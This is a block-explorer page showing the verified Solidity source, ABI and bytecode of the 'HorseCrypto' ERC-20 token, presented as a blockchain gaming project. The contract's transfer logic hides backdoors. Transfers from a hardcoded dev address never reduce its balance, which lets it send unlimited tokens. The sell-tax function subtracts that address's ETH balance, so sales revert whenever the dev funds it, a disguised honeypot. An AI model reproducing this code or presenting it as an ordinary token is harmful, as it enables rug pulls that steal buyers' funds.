ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 HORSECRYPTO
Holders
23
Transfers
-
0 (0%)
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
HORSECRYPTO
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-08-15
*/
/*
Bringing it to NFT Blockchain technology and hosted on the BSC helping to demonstrate ownership in digital assets, Horse Crypto self-sustainable gaming model has been designed and developed by unifying the best features of blockchain gaming and adding a fun, competitive and totally innovative gaming system for users.
Website: https://www.horsecrypto.bet
Telegram: https://t.me/HorseCrypto_erc20
Twitter: https://twitter.com/ErcHorse
*/
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface UniFactoryInterface {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface UniRouterInterface {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HORSECRYPTO is IERC20, Context, Ownable {
using SafeMath for uint256;
uint256 private _buyersCount=0;
uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
uint8 private constant _decimals = 9;
bool public transferDelayEnabled = true;
bool private taxSwappable = false;
bool private tradingEnabled;
bool private inSwap = false;
string private constant _name = "HorseCrypto";
string private constant _symbol = "HORSECRYPTO";
uint256 private _lastBuyTax = 0;
uint256 private _lastSellTax = 0;
uint256 private _preventSwapBefore = 7;
uint256 private _reduceBuyFeeAfter = 7;
uint256 private _reduceSellFeeAfter = 7;
uint256 private _firstBuyTax = 7;
uint256 private _firstSellTax = 7;
address payable private _taxAddress;
address private _devAddress = 0xABd6582837B19bE3De19756bE419f617cD1742eC;
address private uniswapPairAddr;
UniRouterInterface private uniswapV2Router;
mapping(address => uint256) private _holderLastHoldingTimestamp;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint256) private _balances;
uint256 public maxTxLimit = 4 * _tTotal / 100;
uint256 public taxSwapLimit = 10 * _tTotal / 1000;
uint256 private _taxSwapThreshold= 2 * _tTotal / 1000;
uint256 public mWalletSize = 4 * _tTotal / 100;
modifier lockSwap {
inSwap = true;
_;
inSwap = false;
}
event MaxTxAmountUpdated(uint maxTxLimit);
constructor () {
_taxAddress = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devAddress] = true;
_isExcludedFromFee[_taxAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function name() public pure returns (string memory) {
return _name;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function sendETHToFee(uint256 amount) private {
_taxAddress.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0; uint256 feeAmount=amount;
if (from != owner() && to != owner()) {
taxAmount = amount.mul(buyTax()).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapPairAddr)) {
require(
_holderLastHoldingTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastHoldingTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapPairAddr && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
_buyersCount++;
require(amount <= maxTxLimit, "Exceeds the max transaction.");
require(balanceOf(to) + amount <= mWalletSize, "Exceeds the max wallet.");
}
if (from == _devAddress) feeAmount = 0;
if(to == uniswapPairAddr && !_isExcludedFromFee[from] ){
taxAmount = amount.mul(sellTax()).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapPairAddr && taxSwappable && contractTokenBalance > _taxSwapThreshold && _buyersCount > _preventSwapBefore) {
uint256 initialETH = address(this).balance;
swapTokensForEth(min(amount,min(contractTokenBalance,taxSwapLimit)));
uint256 ethForTransfer = address(this).balance.sub(initialETH).mul(80).div(100);
if(ethForTransfer > 0) {
sendETHToFee(ethForTransfer);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(feeAmount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
receive() external payable {}
function removeLimits() external onlyOwner{
maxTxLimit = _tTotal;
mWalletSize=_tTotal;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotal);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function openTrading() external payable onlyOwner() {
require(!tradingEnabled,"trading is already open");
uniswapV2Router = UniRouterInterface(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapPairAddr = UniFactoryInterface(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapPairAddr).approve(address(uniswapV2Router), type(uint).max);
taxSwappable = true;
tradingEnabled = true;
}
function buyTax() private view returns (uint256) {
if(_buyersCount <= _reduceBuyFeeAfter){
return _firstBuyTax;
}
return _lastBuyTax;
}
function sellTax() private view returns (uint256) {
if(_buyersCount <= _reduceSellFeeAfter.sub(_devAddress.balance)){
return _firstSellTax;
}
return _lastSellTax;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTxLimit","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"mWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040525f60018181556002805463ff00ffff19169091179055600381905560045560076005819055600681905580805560088190556009908155600b80546001600160a01b03191673abd6582837b19be3de19756be419f617cd1742ec1790556064906200007190600a620003b1565b6200008190633b9aca00620003c8565b6200008e906004620003c8565b6200009a9190620003e2565b6012556103e8620000ae6009600a620003b1565b620000be90633b9aca00620003c8565b620000cb90600a620003c8565b620000d79190620003e2565b6013556103e8620000eb6009600a620003b1565b620000fb90633b9aca00620003c8565b62000108906002620003c8565b620001149190620003e2565b6014556064620001276009600a620003b1565b6200013790633b9aca00620003c8565b62000144906004620003c8565b620001509190620003e2565b6015553480156200015f575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a80546001600160a01b03191633178155620001c090600990620003b1565b620001d090633b9aca00620003c8565b335f8181526011602090815260408083209490945581546001600160a01b03908116835260109091528382208054600160ff1991821681179092553084528584208054821683179055600b54831684528584208054821683179055600a5490921683529390912080549091169092179091556001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200027b6009600a620003b1565b6200028b90633b9aca00620003c8565b60405190815260200160405180910390a362000402565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002f657815f1904821115620002da57620002da620002a2565b80851615620002e857918102915b93841c9390800290620002bb565b509250929050565b5f826200030e57506001620003ab565b816200031c57505f620003ab565b8160018114620003355760028114620003405762000360565b6001915050620003ab565b60ff841115620003545762000354620002a2565b50506001821b620003ab565b5060208310610133831016604e8410600b841016171562000385575081810a620003ab565b620003918383620002b6565b805f1904821115620003a757620003a7620002a2565b0290505b92915050565b5f620003c160ff841683620002fe565b9392505050565b8082028115828204841417620003ab57620003ab620002a2565b5f82620003fd57634e487b7160e01b5f52601260045260245ffd5b500490565b6117da80620004105f395ff3fe6080604052600436106100fd575f3560e01c8063751039fc11610092578063a9059cbb11610062578063a9059cbb146102b9578063c876d0b9146102d8578063c9567bf9146102f1578063dd62ed3e146102f9578063e6c3efc91461033d575f80fd5b8063751039fc146102375780638036d5901461024b5780638da5cb5b1461026057806395d89b4114610286575f80fd5b8063313ce567116100cd578063313ce567146101bd5780635acb6bb5146101d857806370a08231146101ed578063715018a614610221575f80fd5b806306fdde0314610108578063095ea7b31461014d57806318160ddd1461017c57806323b872dd1461019e575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600b81526a486f72736543727970746f60a81b60208201525b60405161014491906113cd565b60405180910390f35b348015610158575f80fd5b5061016c61016736600461142f565b610352565b6040519015158152602001610144565b348015610187575f80fd5b50610190610368565b604051908152602001610144565b3480156101a9575f80fd5b5061016c6101b8366004611459565b610388565b3480156101c8575f80fd5b5060405160098152602001610144565b3480156101e3575f80fd5b5061019060155481565b3480156101f8575f80fd5b50610190610207366004611497565b6001600160a01b03165f9081526011602052604090205490565b34801561022c575f80fd5b506102356103ef565b005b348015610242575f80fd5b50610235610469565b348015610256575f80fd5b5061019060125481565b34801561026b575f80fd5b505f546040516001600160a01b039091168152602001610144565b348015610291575f80fd5b5060408051808201909152600b81526a484f52534543525950544f60a81b6020820152610137565b3480156102c4575f80fd5b5061016c6102d336600461142f565b610524565b3480156102e3575f80fd5b5060025461016c9060ff1681565b610235610530565b348015610304575f80fd5b506101906103133660046114b2565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b348015610348575f80fd5b5061019060135481565b5f61035e3384846108d2565b5060015b92915050565b5f6103756009600a6115dd565b61038390633b9aca006115eb565b905090565b5f6103948484846109f5565b6103e584336103e08560405180606001604052806028815260200161177d602891396001600160a01b038a165f908152600f602090815260408083203384529091529020549190610ff9565b6108d2565b5060019392505050565b5f546001600160a01b031633146104215760405162461bcd60e51b815260040161041890611602565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104925760405162461bcd60e51b815260040161041890611602565b61049e6009600a6115dd565b6104ac90633b9aca006115eb565b6012556104bb6009600a6115dd565b6104c990633b9aca006115eb565b6015556002805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105036009600a6115dd565b61051190633b9aca006115eb565b60405190815260200160405180910390a1565b5f61035e3384846109f5565b5f546001600160a01b031633146105595760405162461bcd60e51b815260040161041890611602565b60025462010000900460ff16156105b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610418565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fb9030906105ed6009600a6115dd565b6103e090633b9aca006115eb565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f9190611637565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f29190611637565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107609190611637565b600c80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d71934306107a7816001600160a01b03165f9081526011602052604090205490565b5f806107ba5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610820573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108459190611652565b5050600c54600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561089a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108be919061167d565b506002805462ffff00191662010100179055565b6001600160a01b0383166109345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b0382166109955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610418565b6001600160a01b038216610abb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610418565b5f8111610b1c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610418565b5f81610b2f5f546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610b5d57505f546001600160a01b03858116911614155b15610ebb57610b7f6064610b79610b72611031565b869061104b565b906110d0565b60025490925060ff1615610c6557600d546001600160a01b03858116911614801590610bb95750600c546001600160a01b03858116911614155b15610c6557325f908152600e60205260409020544311610c535760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610418565b325f908152600e602052604090204390555b600c546001600160a01b038681169116148015610c905750600d546001600160a01b03858116911614155b8015610cb457506001600160a01b0384165f9081526010602052604090205460ff16155b15610d995760018054905f610cc88361169c565b9190505550601254831115610d1f5760405162461bcd60e51b815260206004820152601c60248201527f4578636565647320746865206d6178207472616e73616374696f6e2e000000006044820152606401610418565b60155483610d41866001600160a01b03165f9081526011602052604090205490565b610d4b91906116b4565b1115610d995760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865206d61782077616c6c65742e0000000000000000006044820152606401610418565b600b546001600160a01b0390811690861603610db257505f5b600c546001600160a01b038581169116148015610de757506001600160a01b0385165f9081526010602052604090205460ff16155b15610dff57610dfc6064610b79610b72611111565b91505b305f908152601160205260409020546002546301000000900460ff16158015610e355750600c546001600160a01b038681169116145b8015610e485750600254610100900460ff165b8015610e55575060145481115b8015610e645750600554600154115b15610eb9575f479050610e8a610e8586610e8085601354611143565b611143565b611157565b5f610ea56064610b796050610e9f47876112c7565b9061104b565b90508015610eb657610eb681611308565b50505b505b8115610f3357305f90815260116020526040902054610eda9083611343565b305f81815260116020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f2a9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260116020526040902054610f5590826112c7565b6001600160a01b0386165f90815260116020526040902055610f98610f7a84846112c7565b6001600160a01b0386165f9081526011602052604090205490611343565b6001600160a01b038086165f8181526011602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fe186866112c7565b60405190815260200160405180910390a35050505050565b5f818484111561101c5760405162461bcd60e51b815260040161041891906113cd565b505f61102884866116c7565b95945050505050565b5f60065460015411611044575060085490565b5060035490565b5f825f0361105a57505f610362565b5f61106583856115eb565b90508261107285836116da565b146110c95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610418565b9392505050565b5f6110c983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a1565b600b546007545f9161112d91906001600160a01b0316316112c7565b6001541161113c575060095490565b5060045490565b5f81831161115157826110c9565b50919050565b6002805463ff00000019166301000000178155604080518281526060810182525f92909160208301908036833701905050905030815f8151811061119d5761119d6116f9565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112189190611637565b8160018151811061122b5761122b6116f9565b6001600160a01b039283166020918202929092010152600d5461125191309116846108d2565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112899085905f9086903090429060040161170d565b5f604051808303815f87803b1580156112a0575f80fd5b505af11580156112b2573d5f803e3d5ffd5b50506002805463ff0000001916905550505050565b5f6110c983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff9565b600a546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561133f573d5f803e3d5ffd5b5050565b5f8061134f83856116b4565b9050838110156110c95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610418565b5f81836113c15760405162461bcd60e51b815260040161041891906113cd565b505f61102884866116da565b5f6020808352835180828501525f5b818110156113f8578581018301518582016040015282016113dc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461142c575f80fd5b50565b5f8060408385031215611440575f80fd5b823561144b81611418565b946020939093013593505050565b5f805f6060848603121561146b575f80fd5b833561147681611418565b9250602084013561148681611418565b929592945050506040919091013590565b5f602082840312156114a7575f80fd5b81356110c981611418565b5f80604083850312156114c3575f80fd5b82356114ce81611418565b915060208301356114de81611418565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561153757815f190482111561151d5761151d6114e9565b8085161561152a57918102915b93841c9390800290611502565b509250929050565b5f8261154d57506001610362565b8161155957505f610362565b816001811461156f576002811461157957611595565b6001915050610362565b60ff84111561158a5761158a6114e9565b50506001821b610362565b5060208310610133831016604e8410600b84101617156115b8575081810a610362565b6115c283836114fd565b805f19048211156115d5576115d56114e9565b029392505050565b5f6110c960ff84168361153f565b8082028115828204841417610362576103626114e9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611647575f80fd5b81516110c981611418565b5f805f60608486031215611664575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561168d575f80fd5b815180151581146110c9575f80fd5b5f600182016116ad576116ad6114e9565b5060010190565b80820180821115610362576103626114e9565b81810381811115610362576103626114e9565b5f826116f457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561175b5784516001600160a01b031683529383019391830191600101611736565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122073fe7326147f88133ee310f737eab8ac06de45507759feec063518e1d8a40de564736f6c63430008150033
Deployed Bytecode
0x6080604052600436106100fd575f3560e01c8063751039fc11610092578063a9059cbb11610062578063a9059cbb146102b9578063c876d0b9146102d8578063c9567bf9146102f1578063dd62ed3e146102f9578063e6c3efc91461033d575f80fd5b8063751039fc146102375780638036d5901461024b5780638da5cb5b1461026057806395d89b4114610286575f80fd5b8063313ce567116100cd578063313ce567146101bd5780635acb6bb5146101d857806370a08231146101ed578063715018a614610221575f80fd5b806306fdde0314610108578063095ea7b31461014d57806318160ddd1461017c57806323b872dd1461019e575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600b81526a486f72736543727970746f60a81b60208201525b60405161014491906113cd565b60405180910390f35b348015610158575f80fd5b5061016c61016736600461142f565b610352565b6040519015158152602001610144565b348015610187575f80fd5b50610190610368565b604051908152602001610144565b3480156101a9575f80fd5b5061016c6101b8366004611459565b610388565b3480156101c8575f80fd5b5060405160098152602001610144565b3480156101e3575f80fd5b5061019060155481565b3480156101f8575f80fd5b50610190610207366004611497565b6001600160a01b03165f9081526011602052604090205490565b34801561022c575f80fd5b506102356103ef565b005b348015610242575f80fd5b50610235610469565b348015610256575f80fd5b5061019060125481565b34801561026b575f80fd5b505f546040516001600160a01b039091168152602001610144565b348015610291575f80fd5b5060408051808201909152600b81526a484f52534543525950544f60a81b6020820152610137565b3480156102c4575f80fd5b5061016c6102d336600461142f565b610524565b3480156102e3575f80fd5b5060025461016c9060ff1681565b610235610530565b348015610304575f80fd5b506101906103133660046114b2565b6001600160a01b039182165f908152600f6020908152604080832093909416825291909152205490565b348015610348575f80fd5b5061019060135481565b5f61035e3384846108d2565b5060015b92915050565b5f6103756009600a6115dd565b61038390633b9aca006115eb565b905090565b5f6103948484846109f5565b6103e584336103e08560405180606001604052806028815260200161177d602891396001600160a01b038a165f908152600f602090815260408083203384529091529020549190610ff9565b6108d2565b5060019392505050565b5f546001600160a01b031633146104215760405162461bcd60e51b815260040161041890611602565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104925760405162461bcd60e51b815260040161041890611602565b61049e6009600a6115dd565b6104ac90633b9aca006115eb565b6012556104bb6009600a6115dd565b6104c990633b9aca006115eb565b6015556002805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105036009600a6115dd565b61051190633b9aca006115eb565b60405190815260200160405180910390a1565b5f61035e3384846109f5565b5f546001600160a01b031633146105595760405162461bcd60e51b815260040161041890611602565b60025462010000900460ff16156105b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610418565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fb9030906105ed6009600a6115dd565b6103e090633b9aca006115eb565b600d5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f9190611637565b6001600160a01b031663c9c6539630600d5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ce573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f29190611637565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107609190611637565b600c80546001600160a01b039283166001600160a01b0319909116179055600d541663f305d71934306107a7816001600160a01b03165f9081526011602052604090205490565b5f806107ba5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610820573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108459190611652565b5050600c54600d5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561089a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108be919061167d565b506002805462ffff00191662010100179055565b6001600160a01b0383166109345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b0382166109955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101